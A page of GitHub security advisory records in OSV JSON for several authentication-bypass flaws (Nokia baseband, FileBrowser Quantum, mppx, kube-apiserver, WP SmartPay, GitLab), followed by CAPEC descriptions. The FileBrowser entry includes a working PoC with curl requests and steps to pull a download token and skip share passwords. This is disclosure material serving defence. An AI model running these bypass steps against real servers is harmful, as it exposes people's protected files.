This bsoc SSH capability was previously considered an administrative functionality but has now been restricted to be available only to baseband root-privileged administrators. This restriction mitigates the possibility of misuse with lower-level privileges (e.g., from baseband software images). This mitigation is included starting from release 23R4-SR 3.0 MP and later

Severity
7.1 (High)
CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-24332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-02T09:15:24Z",
    "severity": "HIGH"
  },
  "details": "Nokia Single RAN AirScale baseband allows an authenticated administrative user access to all physical boards after performing a single login to the baseband system board. The baseband does not re-authenticate the user when they connect from the baseband system board to the baseband capacity boards using the internal bsoc SSH service, which is available only internally within the baseband and through the internal backplane between the boards. The bsoc SSH allows login from one board to another via the baseband internal backplane using an SSH private key present on the baseband system board.\n\nThis bsoc SSH capability was previously considered an administrative functionality but has now been restricted to be available only to baseband root-privileged administrators. This restriction mitigates the possibility of misuse with lower-level privileges (e.g., from baseband software images). This mitigation is included starting from release 23R4-SR 3.0 MP and later",
  "id": "GHSA-8vqg-92mx-5p5h",
  "modified": "2025-07-02T15:30:36Z",
  "published": "2025-07-02T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24332"
    },
    {
      "type": "WEB",
      "url": "https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2025-24332"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8VRH-3PM2-V4V6

Vulnerability from github – Published: 2026-02-25 16:00 – Updated: 2026-04-27 14:56
VLAI
Summary
FileBrowser Quantum: Password Protection Not Enforced on Shared File Links
Details

Summary

When users share password-protected files, the recipient can completely bypass the password and still download the file.

Details

This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.

PoC

  1. As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)
  2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)

Now, the link that was copied should look like: https://yourdomain/public/share/yoursharehash example: https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA

Now, make a API request with any api client to GET https://yourdomain/public/api/shareinfo?hash=(the share hash from the link) example: https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA

If curl is preferred, a (command line based API client), here's the command: curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*' example: curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'

Example response:

{
    "shareTheme": "default",
    "title": "Shared files - IMG_20240814_213703451.jpg",
    "description": "A share has been sent to you to view or download.",
    "disableSidebar": false,
    "source": "/folder",
    "path": "/IMG_20240814_213703451.jpg/",
    "downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D",
    "shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA",
    "enforceDarkLightMode": "default",
    "viewMode": "normal",
    "shareType": "normal",
    "sidebarLinks": [
        {
            "name": "Share QR Code and Info",
            "category": "shareInfo",
            "target": "#",
            "icon": "qr_code"
        },
        {
            "name": "Download",
            "category": "download",
            "target": "#",
            "icon": "download"
        }
    ],
    "hasPassword": true
}

Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D should be changed to: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D

Then just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.

Impact

This affects anyone who shares password-protected files.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260221163904-dbcfba993b85"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-288",
      "CWE-602"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T16:00:49Z",
    "nvd_published_at": "2026-02-25T03:16:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen users share password-protected files, the recipient can completely bypass the password and still download the file.\n\n### Details\nThis happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.\n\n### PoC\n1. As an authenticated user, create a share for a file, with a password specified in \"Optional password\" (make sure to allow anonymous access as the PoC doesn\u0027t explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)\n2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)\n\nNow, the link that was copied should look like:\nhttps://yourdomain/public/share/yoursharehash\nexample:\nhttps://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\n\nNow, make a API request with any api client to GET \nhttps://yourdomain/public/api/shareinfo?hash=(the share hash from the link)\nexample:\nhttps://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA\n\nIf curl is preferred, a (command line based API client), here\u0027s the command:\n`curl \u0027https://yourdomain/public/api/shareinfo?hash=yoursharehash\u0027 -H \u0027Accept: */*\u0027`\nexample:\n`curl \u0027https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA\u0027 -H \u0027Accept: */*\u0027`\n\nExample response:\n```\n{\n    \"shareTheme\": \"default\",\n    \"title\": \"Shared files - IMG_20240814_213703451.jpg\",\n    \"description\": \"A share has been sent to you to view or download.\",\n    \"disableSidebar\": false,\n    \"source\": \"/folder\",\n    \"path\": \"/IMG_20240814_213703451.jpg/\",\n    \"downloadURL\": \"https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\",\n    \"shareURL\": \"https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\",\n    \"enforceDarkLightMode\": \"default\",\n    \"viewMode\": \"normal\",\n    \"shareType\": \"normal\",\n    \"sidebarLinks\": [\n        {\n            \"name\": \"Share QR Code and Info\",\n            \"category\": \"shareInfo\",\n            \"target\": \"#\",\n            \"icon\": \"qr_code\"\n        },\n        {\n            \"name\": \"Download\",\n            \"category\": \"download\",\n            \"target\": \"#\",\n            \"icon\": \"download\"\n        }\n    ],\n    \"hasPassword\": true\n}\n```\n\nLook at the downloadURL. It encodes the \"\u0026\" symbol as \"\\u0026\" so just replace \"\\u0026\" with \"\u0026\", example: \nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\nshould be changed to:\nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\n\nThen just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.\n\n### Impact\nThis affects anyone who shares password-protected files.",
  "id": "GHSA-8vrh-3pm2-v4v6",
  "modified": "2026-04-27T14:56:47Z",
  "published": "2026-02-25T16:00:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/a8c9b9419ec530568991a2f72cec4ed263f99e3c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/c51b0ee9738fa4599b409f47c5bf820ef31b4fe1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4546"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FileBrowser Quantum: Password Protection Not Enforced on Shared File Links "
}

GHSA-8X4M-QW58-3PCX

Vulnerability from github – Published: 2026-03-29 15:15 – Updated: 2026-03-29 15:15
VLAI
Summary
mppx has multiple payment bypass and griefing vulnerabilities
Details

Impact

Multiple vulnerabilities were discovered in tempo/charge and tempo/session which allowed for undesirable behaviors, including: - Replaying tempo/charge transaction hashes across push/pull modes, across charge/session endpoints, and via concurrent requests - Performing free tempo/charge requests due to missing transfer log verification in pull-mode - Replaying tempo/charge credentials across routes via cross-route scope confusion (memo/splits not included in scope binding) - Manipulating the fee payer of a tempo/charge handler into paying for requests (missing sender signature before co-signing) - Bypassing tempo/session voucher signature verification - Piggybacking off existing tempo/session channels via settle voucher reuse and weak channel ID binding - Performing free tempo/session requests by exploiting channel reopen without on-chain settled state - Accepting deductions on finalized tempo/session channels - Bypassing payment on free routes via method-mismatch fallback - Griefing tempo/session channels via force-close detection bypass (closeRequestedAt not persisted)

Patches

Fixed in 0.4.8.

Workarounds

There are no workarounds available for these vulnerabilities.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mppx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-294",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:15:36Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nMultiple vulnerabilities were discovered in `tempo/charge` and `tempo/session` which allowed for undesirable behaviors, including:\n- Replaying `tempo/charge` transaction hashes across push/pull modes, across charge/session endpoints, and via concurrent requests\n- Performing free `tempo/charge` requests due to missing transfer log verification in pull-mode\n- Replaying `tempo/charge` credentials across routes via cross-route scope confusion (`memo`/`splits` not included in scope binding)\n- Manipulating the fee payer of a `tempo/charge` handler into paying for requests (missing sender signature before co-signing)\n- Bypassing `tempo/session` voucher signature verification\n- Piggybacking off existing `tempo/session` channels via settle voucher reuse and weak channel ID binding\n- Performing free `tempo/session` requests by exploiting channel reopen without on-chain settled state\n- Accepting deductions on finalized `tempo/session` channels\n- Bypassing payment on free routes via method-mismatch fallback\n- Griefing `tempo/session` channels via force-close detection bypass (`closeRequestedAt` not persisted)\n\n### Patches\n\nFixed in 0.4.8.\n\n### Workarounds\n\nThere are no workarounds available for these vulnerabilities.",
  "id": "GHSA-8x4m-qw58-3pcx",
  "modified": "2026-03-29T15:15:36Z",
  "published": "2026-03-29T15:15:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wevm/mppx/security/advisories/GHSA-8x4m-qw58-3pcx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wevm/mppx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "mppx has multiple payment bypass and griefing vulnerabilities"
}

GHSA-92HX-3MH6-HC49

Vulnerability from github – Published: 2023-09-24 03:30 – Updated: 2024-05-03 20:24
VLAI
Summary
kube-apiserver authentication bypass vulnerability
Details

An authentication bypass vulnerability was discovered in kube-apiserver. This issue could allow a remote, authenticated attacker who has been given permissions "update, patch" the "pods/ephemeralcontainers" subresource beyond what the default is. They would then need to create a new pod or patch one that they already have access to. This might allow evasion of SCC admission restrictions, thereby gaining control of a privileged pod.

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openshift/apiserver-library-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20230621"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-1260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-25T18:32:19Z",
    "nvd_published_at": "2023-09-24T01:15:42Z",
    "severity": "HIGH"
  },
  "details": "An authentication bypass vulnerability was discovered in kube-apiserver. This issue could allow a remote, authenticated attacker who has been given permissions \"update, patch\" the \"pods/ephemeralcontainers\" subresource beyond what the default is. They would then need to create a new pod or patch one that they already have access to. This might allow evasion of SCC admission restrictions, thereby gaining control of a privileged pod.",
  "id": "GHSA-92hx-3mh6-hc49",
  "modified": "2024-05-03T20:24:51Z",
  "published": "2023-09-24T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/apiserver-library-go/commit/a994128188486d2dce99a528fbcc017d276081e0"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:3976"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4093"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4312"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:4898"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:5008"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-1260"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2176267"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-92hx-3mh6-hc49"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openshift/apiserver-library-go"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231020-0010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kube-apiserver authentication bypass vulnerability"
}

GHSA-92MP-2F65-64FR

Vulnerability from github – Published: 2025-06-27 12:31 – Updated: 2026-04-01 18:35
VLAI
Details

Authentication Bypass Using an Alternate Path or Channel vulnerability in ThemesGrove WP SmartPay allows Authentication Abuse. This issue affects WP SmartPay: from n/a through 2.7.13.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-25171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-27T12:15:31Z",
    "severity": "HIGH"
  },
  "details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in ThemesGrove WP SmartPay allows Authentication Abuse. This issue affects WP SmartPay: from n/a through 2.7.13.",
  "id": "GHSA-92mp-2f65-64fr",
  "modified": "2026-04-01T18:35:34Z",
  "published": "2025-06-27T12:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25171"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/smartpay/vulnerability/wordpress-wp-smartpay-plugin-2-7-13-account-takeover-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-95PV-G7FC-7PXJ

Vulnerability from github – Published: 2026-05-14 06:31 – Updated: 2026-05-14 06:31
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.9.1 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user to access confidential issue content in public projects without proper authorization due to improper authorization checks.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T06:16:23Z",
    "severity": "MODERATE"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.9.1 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user to access confidential issue content in public projects without proper authorization due to improper authorization checks.",
  "id": "GHSA-95pv-g7fc-7pxj",
  "modified": "2026-05-14T06:31:33Z",
  "published": "2026-05-14T06:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4524"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3597717"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594295"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

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